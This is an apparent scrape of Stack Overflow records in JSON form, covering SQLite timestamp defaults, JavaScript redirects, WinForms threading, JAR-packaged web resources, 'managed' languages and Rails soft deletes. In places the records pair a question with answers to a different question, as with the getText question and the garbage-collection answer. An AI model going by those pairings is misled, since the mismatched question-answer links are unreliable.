[ { "answer_id": 200329, "author": "Owen", "author_id": 4853, "author_profile": "https://Stackoverflow.com/users/4853", "pm_score": 9, "selected": true, "text": "<p>As of <a href=\"https://www.sqlite.org/releaselog/3_1_0.html\" rel=\"noreferrer\">version 3.1.0</a> you can use <code>CURRENT_TIMESTAMP</code> with the <a href=\"https://www.sqlite.org/lang_createtable.html#the_default_clause\" rel=\"noreferrer\">DEFAULT</a> clause:</p>\n<blockquote>\n<p>If the default value of a column is CURRENT_TIME, CURRENT_DATE or CURRENT_TIMESTAMP, then the value used in the new row is a text representation of the current UTC date and/or time. For CURRENT_TIME, the format of the value is &quot;HH:MM:SS&quot;. For CURRENT_DATE, &quot;YYYY-MM-DD&quot;. The format for CURRENT_TIMESTAMP is &quot;YYYY-MM-DD HH:MM:SS&quot;.</p>\n</blockquote>\n<pre class=\"lang-sql prettyprint-override\"><code>CREATE TABLE test (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n t TIMESTAMP DEFAULT CURRENT_TIMESTAMP\n);\n</code></pre>\n" }, { "answer_id": 228070, "author": "rev", "author_id": 30455, "author_profile": "https://Stackoverflow.com/users/30455", "pm_score": 7, "selected": false, "text": "<p>according to dr. hipp in a recent list post:</p>\n\n<pre><code>CREATE TABLE whatever(\n ....\n timestamp DATE DEFAULT (datetime('now','localtime')),\n ...\n);\n</code></pre>\n" }, { "answer_id": 754051, "author": "Adam Luter", "author_id": 91361, "author_profile": "https://Stackoverflow.com/users/91361", "pm_score": 6, "selected": false, "text": "<p>It's just a syntax error, you need parentheses: <code>(DATETIME('now'))</code></p>\n<p>The documentation for the <a href=\"https://www.sqlite.org/lang_createtable.html#the_default_clause\" rel=\"nofollow noreferrer\">DEFAULT</a> clause says:</p>\n<blockquote>\n<p>If the default value of a column is <em>an expression in parentheses</em>, then the expression is evaluated once for each row inserted and the results used in the new row.</p>\n</blockquote>\n<p>If you look at the <a href=\"http://www.sqlite.org/syntaxdiagrams.html#column-constraint\" rel=\"nofollow noreferrer\">syntax diagram</a> you'll also notice the parentheses around 'expr'.</p>\n" }, { "answer_id": 16230377, "author": "Sandeep", "author_id": 2322557, "author_profile": "https://Stackoverflow.com/users/2322557", "pm_score": 3, "selected": false, "text": "<p>It is syntax error because you did not write parenthesis </p>\n\n<p>if you write </p>\n\n<blockquote>\n <p>Select datetime('now') \n then it will give you utc time but if you this write it query then you must add parenthesis before this \n so (datetime('now')) for UTC Time.\n for local time same\n Select datetime('now','localtime')\n for query </p>\n</blockquote>\n\n<p>(datetime('now','localtime'))</p>\n" }, { "answer_id": 20121683, "author": "Nianliang", "author_id": 790198, "author_profile": "https://Stackoverflow.com/users/790198", "pm_score": 4, "selected": false, "text": "<p>It may be better to use REAL type, to save storage space.</p>\n\n<p>Quote from 1.2 section of <a href=\"http://www.sqlite.org/datatype3.html\" rel=\"noreferrer\">Datatypes In SQLite Version 3</a></p>\n\n<blockquote>\n <p>SQLite does not have a storage class set aside for storing dates\n and/or times. Instead, the built-in Date And Time Functions of SQLite\n are capable of storing dates and times as TEXT, REAL, or INTEGER\n values</p>\n</blockquote>\n\n<pre><code>CREATE TABLE test (\n id INTEGER PRIMARY KEY AUTOINCREMENT, \n t REAL DEFAULT (datetime('now', 'localtime'))\n);\n</code></pre>\n\n<p>see <a href=\"http://www.sqlite.org/syntaxdiagrams.html#column-constraint\" rel=\"noreferrer\">column-constraint </a>.</p>\n\n<p>And <a href=\"http://www.sqlite.org/lang_insert.html\" rel=\"noreferrer\">insert</a> a row without providing any value.</p>\n\n<pre><code>INSERT INTO \"test\" DEFAULT VALUES;\n</code></pre>\n" }, { "answer_id": 26127039, "author": "user272735", "author_id": 272735, "author_profile": "https://Stackoverflow.com/users/272735", "pm_score": 5, "selected": false, "text": "<p>This is a full example based on the other answers and comments to the question. In the example the timestamp (<code>created_at</code>-column) is saved as <a href=\"http://en.wikipedia.org/wiki/Unix_time\" rel=\"noreferrer\">unix epoch</a> UTC timezone and converted to local timezone only when necessary.</p>\n\n<p>Using unix epoch saves storage space - 4 bytes integer vs. 24 bytes string when stored as ISO8601 string, see <a href=\"http://www.sqlite.org/datatype3.html\" rel=\"noreferrer\">datatypes</a>. If 4 bytes is not enough that can be increased to 6 or 8 bytes.</p>\n\n<p>Saving timestamp on UTC timezone makes it convenient to show a reasonable value on multiple timezones.</p>\n\n<p>SQLite version is 3.8.6 that ships with Ubuntu LTS 14.04.</p>\n\n<pre><code>$ sqlite3 so.db\nSQLite version 3.8.6 2014-08-15 11:46:33\nEnter \".help\" for usage hints.\nsqlite&gt; .headers on\n\ncreate table if not exists example (\n id integer primary key autoincrement\n ,data text not null unique\n ,created_at integer(4) not null default (strftime('%s','now'))\n);\n\ninsert into example(data) values\n ('foo')\n,('bar')\n;\n\nselect\n id\n,data\n,created_at as epoch\n,datetime(created_at, 'unixepoch') as utc\n,datetime(created_at, 'unixepoch', 'localtime') as localtime\nfrom example\norder by id\n;\n\nid|data|epoch |utc |localtime\n1 |foo |1412097842|2014-09-30 17:24:02|2014-09-30 20:24:02\n2 |bar |1412097842|2014-09-30 17:24:02|2014-09-30 20:24:02\n</code></pre>\n\n<p>Localtime is correct as I'm located at UTC+2 DST at the moment of the query.</p>\n" }, { "answer_id": 56511045, "author": "Bilbo", "author_id": 585158, "author_profile": "https://Stackoverflow.com/users/585158", "pm_score": 2, "selected": false, "text": "<p>This alternative example stores the local time as Integer to save the 20 bytes. The work is done in the field default, Update-trigger, and View.\nstrftime must use '%s' (single-quotes) because \"%s\" (double-quotes) threw a 'Not Constant' error on me.</p>\n\n<pre><code>Create Table Demo (\n idDemo Integer Not Null Primary Key AutoIncrement\n ,DemoValue Text Not Null Unique\n ,DatTimIns Integer(4) Not Null Default (strftime('%s', DateTime('Now', 'localtime'))) -- get Now/UTC, convert to local, convert to string/Unix Time, store as Integer(4)\n ,DatTimUpd Integer(4) Null\n);\n\nCreate Trigger trgDemoUpd After Update On Demo Begin\n Update Demo Set\n DatTimUpd = strftime('%s', DateTime('Now', 'localtime')) -- same as DatTimIns\n Where idDemo = new.idDemo;\nEnd;\n\nCreate View If Not Exists vewDemo As Select -- convert Unix-Times to DateTimes so not every single query needs to do so\n idDemo\n ,DemoValue\n ,DateTime(DatTimIns, 'unixepoch') As DatTimIns -- convert Integer(4) (treating it as Unix-Time)\n ,DateTime(DatTimUpd, 'unixepoch') As DatTimUpd -- to YYYY-MM-DD HH:MM:SS\nFrom Demo;\n\nInsert Into Demo (DemoValue) Values ('One'); -- activate the field Default\n-- WAIT a few seconds -- \nInsert Into Demo (DemoValue) Values ('Two'); -- same thing but with\nInsert Into Demo (DemoValue) Values ('Thr'); -- later time values\n\nUpdate Demo Set DemoValue = DemoValue || ' Upd' Where idDemo = 1; -- activate the Update-trigger\n\nSelect * From Demo; -- display raw audit values\nidDemo DemoValue DatTimIns DatTimUpd\n------ --------- ---------- ----------\n1 One Upd 1560024902 1560024944\n2 Two 1560024944\n3 Thr 1560024944\n\nSelect * From vewDemo; -- display automatic audit values\nidDemo DemoValue DatTimIns DatTimUpd\n------ --------- ------------------- -------------------\n1 One Upd 2019-06-08 20:15:02 2019-06-08 20:15:44\n2 Two 2019-06-08 20:15:44\n3 Thr 2019-06-08 20:15:44\n</code></pre>\n" }, { "answer_id": 66263567, "author": "Jim Hunziker", "author_id": 6160, "author_profile": "https://Stackoverflow.com/users/6160", "pm_score": 3, "selected": false, "text": "<p>If you want millisecond precision, try this:</p>\n<pre><code>CREATE TABLE my_table (\n timestamp DATETIME DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now'))\n);\n</code></pre>\n<p>This will save the timestamp as text, though.</p>\n" }, { "answer_id": 71519321, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>(DEFAULT ( DATETIME('now') ) )</p>\n<p>or</p>\n<p>(DEFAULT ( DATETIME('now', 'Localtime' ) ) )</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200309", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13262/" ]
How to create a table with a timestamp column that defaults to `DATETIME('now')`? Like this: ``` CREATE TABLE test ( id INTEGER PRIMARY KEY AUTOINCREMENT, t TIMESTAMP DEFAULT DATETIME('now') ); ``` This gives an error.
As of [version 3.1.0](https://www.sqlite.org/releaselog/3_1_0.html) you can use `CURRENT_TIMESTAMP` with the [DEFAULT](https://www.sqlite.org/lang_createtable.html#the_default_clause) clause: > > If the default value of a column is CURRENT\_TIME, CURRENT\_DATE or CURRENT\_TIMESTAMP, then the value used in the new row is a text representation of the current UTC date and/or time. For CURRENT\_TIME, the format of the value is "HH:MM:SS". For CURRENT\_DATE, "YYYY-MM-DD". The format for CURRENT\_TIMESTAMP is "YYYY-MM-DD HH:MM:SS". > > > ```sql CREATE TABLE test ( id INTEGER PRIMARY KEY AUTOINCREMENT, t TIMESTAMP DEFAULT CURRENT_TIMESTAMP ); ```
200,312
<p>Does anybody knows why this snippet returns <code>false</code> even if the passed string is "Active"?</p> <pre><code>if ($('status_'+id).getText()=="Active") </code></pre> <p>I've also tried changing the code to</p> <pre><code>if ($('status_'+id).getText()==String("Active")) </code></pre> <p>and</p> <pre><code>if (String($('status_'+id).getText())=="Active") </code></pre> <p>and still no luck.</p> <p>I've also checked <code>$('status_'+id).getText()</code> through <code>console.log</code> to verify if it really returns "Active"</p> <p>i wonder why it doesnt work? any ideas?</p>
[ { "answer_id": 200313, "author": "Drew Noakes", "author_id": 24874, "author_profile": "https://Stackoverflow.com/users/24874", "pm_score": 5, "selected": false, "text": "<p>A key difference between C++ and .NET/Java is the automatic reclaiming of memory that is no longer required. This is known as <strong>garbage collection</strong>. For this property, they are known as <strong>managed</strong> platforms.</p>\n\n<p>Both Java/.NET delay the compilation of bytecode into native code until the last minute. For this property they are known as <strong>JIT-compiled</strong> (Just In Time).</p>\n\n<p>The C#/Java/C++ languages are known as <strong>imperative, object-oriented</strong> languages.</p>\n\n<p>The type system in both .NET and Java only allows verifiable invocation of methods. For this property they are known as <strong>statically typed</strong>. </p>\n\n<p>C#/Java/C++ are <strong>Turing complete</strong>, meaning that, in practice, they can produce any calculation.</p>\n" }, { "answer_id": 200317, "author": "Greg Beech", "author_id": 13552, "author_profile": "https://Stackoverflow.com/users/13552", "pm_score": 1, "selected": false, "text": "<p>'managed' or 'memory managed' or 'garbage collected' are all acceptable terms to distinguish them in terms of how memory is allocated/collected, though the first is arguably the most common nowadays.</p>\n\n<p>As for compiling to an intermediate language (IL), it depends on how the virtual machine (VM) they run on works. In .NET the common language runtime (CLR) VM compiles the IL to machine code just before it executes, which is known as just-in-time compilation, or 'JIT compilation'. Other environments don't actually compile the code to machine code but simply interpret it, which is significantly slower, and this is known as an 'interpreted' language.</p>\n" }, { "answer_id": 200318, "author": "Greg Hewgill", "author_id": 893, "author_profile": "https://Stackoverflow.com/users/893", "pm_score": 2, "selected": false, "text": "<p>The intermediate representation is more a property of the runtime system than of the language itself. These types of systems are often called <a href=\"http://en.wikipedia.org/wiki/Bytecode\" rel=\"nofollow noreferrer\">Bytecode</a> systems.</p>\n" }, { "answer_id": 200322, "author": "Gerald", "author_id": 19404, "author_profile": "https://Stackoverflow.com/users/19404", "pm_score": 1, "selected": false, "text": "<p>I believe it would be managed languages.</p>\n" }, { "answer_id": 200324, "author": "Stephan Tobies", "author_id": 6738, "author_profile": "https://Stackoverflow.com/users/6738", "pm_score": 3, "selected": false, "text": "<p>Those languages are commonly referred to as 'managed' languages.</p>\n" }, { "answer_id": 200325, "author": "Barry Kelly", "author_id": 3712, "author_profile": "https://Stackoverflow.com/users/3712", "pm_score": 2, "selected": false, "text": "<p>Since Microsoft came out with .NET, they started using the word \"managed\" to distinguish between languages that, logically at least, run on a virtual machine, and those that run on the raw metal. The term has mostly caught on.</p>\n" }, { "answer_id": 200446, "author": "DrHazzard", "author_id": 27768, "author_profile": "https://Stackoverflow.com/users/27768", "pm_score": 0, "selected": false, "text": "<p>It depends, if you are talking about the fact they run on a virtual machine then they are regarded as JIT-compiled (Just-In-Time) or bytecode (logically 1/2 compiled and 1/2 interpreted).</p>\n\n<p>If you are talking about the garbage collection then they are simply referred to as garbage collected.</p>\n\n<p>The key point here is the two attributes are separate, a garbage collected language does not have to have a virtual machine and a virtual machine based language does not have to be garbage collected.</p>\n\n<p>As an example Python is an interpreted language which has garbage collection, but it is interpreted as opposed to running on a virtual machine.</p>\n" }, { "answer_id": 200459, "author": "milot", "author_id": 22637, "author_profile": "https://Stackoverflow.com/users/22637", "pm_score": 2, "selected": false, "text": "<p>They are sometimes called statically typed managed programming languages.</p>\n" }, { "answer_id": 201125, "author": "Tom Hawtin - tackline", "author_id": 4725, "author_profile": "https://Stackoverflow.com/users/4725", "pm_score": 0, "selected": false, "text": "<p>Intermediate \"bytecode\" representation is just an implementation detail. C++ can be compiled to, say, ANDF (Architecture Neutral Distribution Format). P-code used to be really popular. On the other hand, JavaCards are generally distributed without the ability to run the intermediate form, and there exists direct to machine code Java compilers.</p>\n\n<p>C++ can be Garbage Collected. That should be more explicit in C++0x. Real-Time Java has restricted memory use for real-time threads.</p>\n\n<p>So, a term for Java/C# type languages: Java dialects.</p>\n\n<p>(Java is a trademark of Sun Microsystems, so is JavaScript.)</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200312", "https://Stackoverflow.com", "https://Stackoverflow.com/users/24744/" ]
Does anybody knows why this snippet returns `false` even if the passed string is "Active"? ``` if ($('status_'+id).getText()=="Active") ``` I've also tried changing the code to ``` if ($('status_'+id).getText()==String("Active")) ``` and ``` if (String($('status_'+id).getText())=="Active") ``` and still no luck. I've also checked `$('status_'+id).getText()` through `console.log` to verify if it really returns "Active" i wonder why it doesnt work? any ideas?
A key difference between C++ and .NET/Java is the automatic reclaiming of memory that is no longer required. This is known as **garbage collection**. For this property, they are known as **managed** platforms. Both Java/.NET delay the compilation of bytecode into native code until the last minute. For this property they are known as **JIT-compiled** (Just In Time). The C#/Java/C++ languages are known as **imperative, object-oriented** languages. The type system in both .NET and Java only allows verifiable invocation of methods. For this property they are known as **statically typed**. C#/Java/C++ are **Turing complete**, meaning that, in practice, they can produce any calculation.
200,314
<p>I'm writing a WinForms app which has two modes: console or GUI. Three projects within the same solution, one for the console app, one for the UI forms and the third to hold the logic that the two interfaces will both connect too. The Console app runs absolutely smoothly. </p> <p>A model which holds the user-selections, it has an <code>IList&lt;T&gt;</code> where T is a local object, <code>Step</code>, which implements <code>INotifyPropertyChanged</code>, so in the UI this is mounted on to a DataGridView. All is fine at runtime, the initial state of the objects is reflected on the screen. </p> <p>Each of the <code>Step</code> objects is a task which is performed in turn; some of the properties will change, being reflected back to the IList and passed on to the DataGridView. </p> <p>This action in the UI versions is done by creating a BackgroundWorker raising events back to the UI. The <code>Step</code> does it thing and generates a <code>StepResult</code> object which is an enumerated type indicating a result (e.g. Running, NotRun, OK, NotOK, Caveat) and a string to indicate a message (because the step ran but not quite as expected, i.e. with a Caveat). Normally the actions will involve a database interaction, but in debug mode I randomly generate a result. </p> <p>If the message is null, there's never a problem, but if I generate a response like this: </p> <pre><code>StepResult returnvalue = new StepResult(stat, "completed with caveat") </code></pre> <p>I get an error saying that the DataGridView was being accessed from a thread other than the thread it was created on. (I'm passing this through a custom handler which should handle the invoking when required - maybe it doesn't?) </p> <p>Then if I generate a unique response, e.g. using a random number <code>r</code>: </p> <pre><code>StepResult returnvalue = new StepResult(stat, r.ToString()); </code></pre> <p>the actions succeed with no problem, the numbers are written cleanly to the DataGridView.</p> <p>I'm baffled. I'm assuming it's somehow a string literal problem, but can anyone come up with a clearer explanation? </p>
[ { "answer_id": 200347, "author": "Skizz", "author_id": 1898, "author_profile": "https://Stackoverflow.com/users/1898", "pm_score": 2, "selected": false, "text": "<p>You've answered your own quesion:-</p>\n\n<blockquote>\n <p>I get an error saying that the DataGridView was being accessed from a thread other than the thread it was created on.</p>\n</blockquote>\n\n<p>WinForms insists that all actions performed on forms and controls are done in the context of the thread the form was created in. The reason for this is complex, but has a lot to do with the underlying Win32 API. For details, see the various entries on <a href=\"http://blogs.msdn.com/oldnewthing/\" rel=\"nofollow noreferrer\">The Old New Thing</a> blog.</p>\n\n<p>What you need to do is use the InvokeRequired and Invoke methods to ensure that the controls are always accessed from the same thread (pseudocodeish):</p>\n\n<pre><code>object Form.SomeFunction (args)\n{\n if (InvokeRequired)\n {\n return Invoke (new delegate (Form.Somefunction), args);\n }\n else\n {\n return result_of_some_action;\n }\n}\n</code></pre>\n" }, { "answer_id": 200506, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 3, "selected": true, "text": "<p>Since you are doing UI binding via event subscription, <a href=\"http://groups.google.co.uk/group/microsoft.public.dotnet.languages.csharp/browse_thread/thread/214e55884b16f4d9/f12a3c5980567f06#f12a3c5980567f06\" rel=\"nofollow noreferrer\">you might find this helpful</a>; it is an example I wrote a while ago that shows how to subclass <code>BindingList&lt;T&gt;</code> so that the notifications are marshalled to the UI thread automatically.</p>\n\n<p>If there is no sync-context (i.e. console mode), then it reverts back to the simple direct invoke, so there is no overhead. When running in UI thread, note that this essentially uses <code>Control.Invoke</code>, which itself just runs the delegate directly if it is on the UI thread. So there is only any switch if the data is being edited from a non-UI thread - juts what we want ;-p</p>\n" }, { "answer_id": 200705, "author": "Unsliced", "author_id": 2902, "author_profile": "https://Stackoverflow.com/users/2902", "pm_score": 0, "selected": false, "text": "<p>I found this article - \"<a href=\"http://social.msdn.microsoft.com/Forums/en-US/netfxbcl/thread/186338b6-2fe1-4d41-bab5-c35bf64a6b8d/\" rel=\"nofollow noreferrer\">Updating IBindingList from different thread</a>\" - which pointed the finger of blame to the BindingList - </p>\n\n<blockquote>\n <p>Because the BindingList is not setup for async operations, you must update the BindingList from the same thread that it was controlled on.</p>\n</blockquote>\n\n<p>Explicitly passing the parent form as an <code>ISynchronizeInvoke</code> object and creating a wrapper for the <code>BindingList&lt;T&gt;</code> did the trick. </p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200314", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2902/" ]
I'm writing a WinForms app which has two modes: console or GUI. Three projects within the same solution, one for the console app, one for the UI forms and the third to hold the logic that the two interfaces will both connect too. The Console app runs absolutely smoothly. A model which holds the user-selections, it has an `IList<T>` where T is a local object, `Step`, which implements `INotifyPropertyChanged`, so in the UI this is mounted on to a DataGridView. All is fine at runtime, the initial state of the objects is reflected on the screen. Each of the `Step` objects is a task which is performed in turn; some of the properties will change, being reflected back to the IList and passed on to the DataGridView. This action in the UI versions is done by creating a BackgroundWorker raising events back to the UI. The `Step` does it thing and generates a `StepResult` object which is an enumerated type indicating a result (e.g. Running, NotRun, OK, NotOK, Caveat) and a string to indicate a message (because the step ran but not quite as expected, i.e. with a Caveat). Normally the actions will involve a database interaction, but in debug mode I randomly generate a result. If the message is null, there's never a problem, but if I generate a response like this: ``` StepResult returnvalue = new StepResult(stat, "completed with caveat") ``` I get an error saying that the DataGridView was being accessed from a thread other than the thread it was created on. (I'm passing this through a custom handler which should handle the invoking when required - maybe it doesn't?) Then if I generate a unique response, e.g. using a random number `r`: ``` StepResult returnvalue = new StepResult(stat, r.ToString()); ``` the actions succeed with no problem, the numbers are written cleanly to the DataGridView. I'm baffled. I'm assuming it's somehow a string literal problem, but can anyone come up with a clearer explanation?
Since you are doing UI binding via event subscription, [you might find this helpful](http://groups.google.co.uk/group/microsoft.public.dotnet.languages.csharp/browse_thread/thread/214e55884b16f4d9/f12a3c5980567f06#f12a3c5980567f06); it is an example I wrote a while ago that shows how to subclass `BindingList<T>` so that the notifications are marshalled to the UI thread automatically. If there is no sync-context (i.e. console mode), then it reverts back to the simple direct invoke, so there is no overhead. When running in UI thread, note that this essentially uses `Control.Invoke`, which itself just runs the delegate directly if it is on the UI thread. So there is only any switch if the data is being edited from a non-UI thread - juts what we want ;-p
200,319
<p>Is it possible to store web content (such as JSPs, HTML, images, CSS etc) in a JAR file?</p> <p>I've been looking at various options at modularising our web applications and this is one possibility.</p> <p>We are currently using JSF and Facelets for our view technology - I'm thinking it may be possible to write some form of custom view resolver which would examine the classpath rather than a filesystem directory, but I'm not sure this would work.</p> <p>Any ideas would be appreciated! :)</p> <p>Update: I should probably clarify. How do you get the web container (such as Tomcat) to load resources from a JAR file? For example, I deploy a .war file with my web application. If I access /index.jsp, the container will try to look in the web content directory for a file named index.jsp.</p> <p>Is there an easy way to configure your own resource loader using Tomcat or the like so that it searches the classpath as well as the filesystem?</p>
[ { "answer_id": 200341, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 1, "selected": false, "text": "<p>Absolutely. Heck, you can store content directly in a WAR file, which is basically a JAR file with a few extra bits. Yes, you may need to write a custom resolver to use ClassLoader.getResourceAsStream, but basically as you're given the ability to generate the content however you like, fetching it from a jar file seems perfectly reasonable. You'll probably want to make sure it only fetches a very specific set of extensions though :)</p>\n" }, { "answer_id": 200581, "author": "Martin Spamer", "author_id": 15527, "author_profile": "https://Stackoverflow.com/users/15527", "pm_score": 2, "selected": false, "text": "<p>Yes, it is possible to store files e.g. properties, xml, xslt, image etc; in a JAR (or WAR) file and pull them at runtime.</p>\n\n<p>To load a resource from your deployment jar, use the following code.</p>\n\n<pre><code>this.getClass().getClassLoader().getResourceAsStream( filename ) ;\n</code></pre>\n\n<p>In a maven project, folders &amp; files placed in resources are included in the jar. The filename is relative to the root of jar file, so \"./filename.xml\" would match the file filename.xml placed in \"/src/java/resources\".</p>\n" }, { "answer_id": 207990, "author": "Romain Linsolas", "author_id": 26457, "author_profile": "https://Stackoverflow.com/users/26457", "pm_score": 1, "selected": false, "text": "<p>You can also use the weblets project (see <a href=\"https://weblets.dev.java.net/\" rel=\"nofollow noreferrer\">https://weblets.dev.java.net/</a>).</p>\n\n<p>You store some resources in a JAR library (such as images, css, javascript...) and you write a really simple weblet-config.xml. Then in the JSF page, you can refer them directly with this syntax:</p>\n\n<pre><code>&lt;h:graphicImage src=\"weblet://some-name/images/someimage.jpg\" .../&gt;\n</code></pre>\n" }, { "answer_id": 208019, "author": "Dave", "author_id": 28068, "author_profile": "https://Stackoverflow.com/users/28068", "pm_score": 1, "selected": false, "text": "<p>A tag file is like a JSP fragment that can be placed in a jar. Using tag files, could help you, but I have never tried to use images, CSS, etc. in a jar.</p>\n" }, { "answer_id": 4109462, "author": "Matt", "author_id": 61594, "author_profile": "https://Stackoverflow.com/users/61594", "pm_score": 2, "selected": false, "text": "<p>If you are using Maven to build your webapp, you can build a WAR of your resources and overlay that WAR onto your webapp WAR at build time.</p>\n\n<p>The resource WAR containing all of your JSPs, images, CSS, etc. is referred to as an \"overlay,\" and is simply a dependency in your target webapp with the type set to \"war.\"</p>\n\n<p>When you package your webapp, the resource WAR will only copy over non-conflicting files. So, if you have a unique index.jsp in your project, and would like to use that instead of the index.jsp in the overlay, just include it in your target webapp, and Maven will not copy over that resource.</p>\n\n<p>More info on the <a href=\"http://maven.apache.org/plugins/maven-war-plugin/overlays.html\" rel=\"nofollow\">Maven War plugin page about overlays</a>.</p>\n" }, { "answer_id": 38188356, "author": "Pixelstix", "author_id": 4266338, "author_profile": "https://Stackoverflow.com/users/4266338", "pm_score": 1, "selected": false, "text": "<p>In Core JavaServer Faces, 3rd edition, under \"Packaging Composite Components in JARs\" on p. 382, it talks about packaging composite components in JAR files.</p>\n\n<p>\"All you have to do is put your composite component, and its artifacts, such as JavaScript, stylesheets, or properties files, under a META-INF directory in the JAR, as shown in Figure 9-14.\"</p>\n\n<pre><code>components.jar\n+-- META-INF\n +-- resources\n +-- css\n | +-- styles.css\n +-- images\n | +-- back.png\n +-- util\n +-- icon.xhtml\n +-- login.js\n +-- login.properties\n</code></pre>\n\n<p>I'm not sure how easily these resources can be accessed directly from other applications as opposed to the contained composite components.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200319", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
Is it possible to store web content (such as JSPs, HTML, images, CSS etc) in a JAR file? I've been looking at various options at modularising our web applications and this is one possibility. We are currently using JSF and Facelets for our view technology - I'm thinking it may be possible to write some form of custom view resolver which would examine the classpath rather than a filesystem directory, but I'm not sure this would work. Any ideas would be appreciated! :) Update: I should probably clarify. How do you get the web container (such as Tomcat) to load resources from a JAR file? For example, I deploy a .war file with my web application. If I access /index.jsp, the container will try to look in the web content directory for a file named index.jsp. Is there an easy way to configure your own resource loader using Tomcat or the like so that it searches the classpath as well as the filesystem?
Yes, it is possible to store files e.g. properties, xml, xslt, image etc; in a JAR (or WAR) file and pull them at runtime. To load a resource from your deployment jar, use the following code. ``` this.getClass().getClassLoader().getResourceAsStream( filename ) ; ``` In a maven project, folders & files placed in resources are included in the jar. The filename is relative to the root of jar file, so "./filename.xml" would match the file filename.xml placed in "/src/java/resources".
200,337
<p>I've never learnt JavaScript, but I imagine this is quite a simple problem. Just wanted to know which method is most advised these days.</p>
[ { "answer_id": 200339, "author": "Owen", "author_id": 4853, "author_profile": "https://Stackoverflow.com/users/4853", "pm_score": 8, "selected": true, "text": "<pre><code>// use this to avoid redirects when a user clicks \"back\" in their browser\nwindow.location.replace('http://somewhereelse.com');\n\n// use this to redirect, a back button call will trigger the redirection again\nwindow.location.href = \"http://somewhereelse.com\";\n\n// given for completeness, essentially an alias to window.location.href\nwindow.location = \"http://somewhereelse.com\";\n</code></pre>\n\n<p><strong>edit</strong>: looks like the user who posted the better answer has left SO, i've consolidated his answers here.</p>\n" }, { "answer_id": 200342, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>One important thing to remember when redirecting a page using JavaScript is, always provide a non-JavaScript redirect as well! A link would do, or better a <code>&lt;META&gt;</code> tag, for example: <code>&lt;meta http-equiv=\"refresh\" content=\"2;url=http://example.com\"&gt;</code></p>\n" }, { "answer_id": 200365, "author": "Quentin", "author_id": 19068, "author_profile": "https://Stackoverflow.com/users/19068", "pm_score": 5, "selected": false, "text": "<p>Most advised? To not do it. <a href=\"http://www.w3.org/QA/Tips/reback\" rel=\"noreferrer\">HTTP is <strong>far</strong> better suited to the job</a> than JavaScript is (search engines follow them, you can state if it is permanent or not, they are faster, etc).</p>\n\n<p>Failing that&hellip;</p>\n\n<p>If you want an immediate redirect:</p>\n\n<pre><code>window.location.replace('http://example.com/');</code></pre>\n\n<p>This will replace the current URI with the new URI in the browser history, so the back button won't land the user on a page that immediately throws them forward again.</p>\n\n<p>If you don't really want to redirect, but want to send the user somewhere in response to an event:</p>\n\n<pre><code>window.location.href = 'http://example.com/';</code></pre>\n\n<p>Remember to have a non-JavaScript fallback. A link is usually the best option, but it does depend on context.</p>\n\n<p>Time delayed redirects are an even worse idea. The only reason to use them is if you want to display a message to the user - and users read things at different speeds (and have them sitting in another tab while they do something else). If the message is important enough to show, then it should be important enough to leave on screen until the user has read it and clicked a link to the next page.</p>\n" }, { "answer_id": 200366, "author": "Guido", "author_id": 12388, "author_profile": "https://Stackoverflow.com/users/12388", "pm_score": 2, "selected": false, "text": "<p>These days, I think the most advised method is <a href=\"http://en.wikipedia.org/wiki/URL_redirection#JavaScript_redirects\" rel=\"nofollow noreferrer\">not to do javascript</a> (or meta) redirects. Do you really need it ? Could you use a redirect HTTP header instead ?</p>\n\n<p>The W3C's Web Content Accessibility Guidelines (7.4) also discourage the creation of auto-refreshing pages, since most web browsers do not allow the user to disable or control the refresh rate</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200337", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11324/" ]
I've never learnt JavaScript, but I imagine this is quite a simple problem. Just wanted to know which method is most advised these days.
``` // use this to avoid redirects when a user clicks "back" in their browser window.location.replace('http://somewhereelse.com'); // use this to redirect, a back button call will trigger the redirection again window.location.href = "http://somewhereelse.com"; // given for completeness, essentially an alias to window.location.href window.location = "http://somewhereelse.com"; ``` **edit**: looks like the user who posted the better answer has left SO, i've consolidated his answers here.
200,372
<p>I think it important to have an "<strong>undo</strong>" method ala <strong>gmail</strong> when destroying records instead of displaying an annoying popup that says, "<em>Are you sure?</em>".</p> <p>The way that I've implemented this is to have a "deleted_at" timestamp column in the model which gets timestamped when <strong>destroy</strong> method is called</p> <pre><code>def destroy @foo = Foo.find(params[:id]) @foo.update_attribute(:deleted_at, Time.now) ... end </code></pre> <p>To <strong>revert/undo</strong> I'll just set the same column to nil</p> <pre><code>def revert @foo = Foo.find(params[:id]) @foo.update_attribute(:deleted_at, nil) ... end </code></pre> <p>I'll just have to add a condition to filter off "deleted" foos when I call the find method. Perhaps set a cron or background task to really destroy "deleted" foos after some time.</p> <p>Works for me and easy to implement but I'm curious as to if there's a better way to implement this feature? Maybe there's a plugin or gem that provides this that I don't know about?</p>
